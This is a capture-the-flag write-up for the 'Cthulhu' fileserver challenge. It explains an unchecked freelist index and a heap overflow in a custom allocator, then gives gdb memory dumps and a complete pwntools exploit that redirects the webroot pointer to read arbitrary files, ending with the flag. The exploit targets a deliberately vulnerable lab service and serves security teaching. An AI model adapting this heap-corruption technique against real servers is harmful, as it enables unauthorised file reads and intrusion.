Description
Cthulhu is too chaotic and has lost the machine with his files. Cthulhu still has an old fileserver running on it though… Get the flag from /flag in the filesystem.
Connect to cthulhu.fluxfingers.net:1509.
Binaries
Resolution
This is going to be a small write-up given the fact that there is already a write-up describing pretty well what the program is doing.
This challenge took us a lots of time of tries and thinking about it, but our exploit is pretty simple and goes straight to the point.
Things to note and important piece of codes:
- We have a freelist with 9 chunks size, biggest chunk size is 8192 byte. Every command is stored in a chunk size of 8192 bytes, when a DO_free is called, the pointer is stored in the freelist
- Here is the .bss layout with our malloc_freelist_heads
gdb-peda$ print &malloc_freelist_heads $2 = (void *(*)[10]) 0x601ec0 <malloc_freelist_heads> gdb-peda$ x/20xg 0x601ec0 0x601ec0 <malloc_freelist_heads>: 0x0000000000000000 0x0000000000000000 0x601ed0 <malloc_freelist_heads+16>: 0x0000000000000000 0x0000000000000000 0x601ee0 <malloc_freelist_heads+32>: 0x0000000000000000 0x0000000000000000 0x601ef0 <malloc_freelist_heads+48>: 0x0000000000000000 0x0000000000000000 0x601f00 <malloc_freelist_heads+64>: 0x0000000000000000 0x0000000000000000 0x601f10 <malloc_area_head>: 0x00007fffeda31000 0x0000000000000000 0x601f20 <webroot>: 0x00007fffffffe479 0x0000000000000000
That means we need an idx of 12 to successfully rewrite webroot
-
void DO_free(void *ptr) { if (ptr == NULL) return; ptr = ((char*)ptr)-1; int idx = *(char*)ptr; *(void**)ptr = malloc_freelist_heads[idx]; malloc_freelist_heads[idx] = ptr; }
malloc_freelist_heads[idx] = ptr;, idx is never checked, if we can control the idx, we can get an Out Of Bound from the malloc_freelist_heads and then directly rewrite webroot to a pointer in the heap
-
char *DO_readline(size_t *outlen) { size_t len = CHUNK_SIZE_BY_IDX(MALLOC_NR_OF_SIZES-1) - 1; char *buf = DO_malloc(len); char *p = buf; while (1) { *p = DO_readbyte(); if (*p == '\n') { *p = '\0'; if (outlen) *outlen = p - buf; break; } p++; } return buf; }
We have a huge overflow in the heap, we can pretty much rewrite the whole heap in a single command
From these facts, if you haven’t find our solution yet, this is pretty straight:
- Set language, this is the only chunk that we can keep between 2 command, all other malloc are immediately freed after use
- Rewrite the [idx] part of the chunk with overflow in the heap
- Free that chunk that will make us rewrite webroot
- Write our webroot in the heap with another overflow in the heap
- Read any file on the system
Here is the full exploit:
#!/usr/bin/env python2 from pwn import * ### DEBUG = False ### if DEBUG: r = remote("localhost", 1605) else: r = remote("cthulhu.fluxfingers.net", 1509) # set language r.sendline("language") r.sendline("toto") # overflowing heap to rewrite the [idx] of the language chunk p = "/" * 16383 + "\x0c" r.sendline(p) # we free the chunk, causing an out of bound from malloc_freelist_head # to rewrite the webroot ptr r.sendline("language") r.sendline("toto") # rewrite the new webroot *ptr to "/" p = "/" * 16383 + "/" r.sendline(p) # reading flag r.sendline("get") r.recvuntil("path") r.sendline("flag") # any file on the remote FileSystem r.recvline() print r.recvline()[:-1]
flag is: flag{cthulhu_likes_custom_mallocators}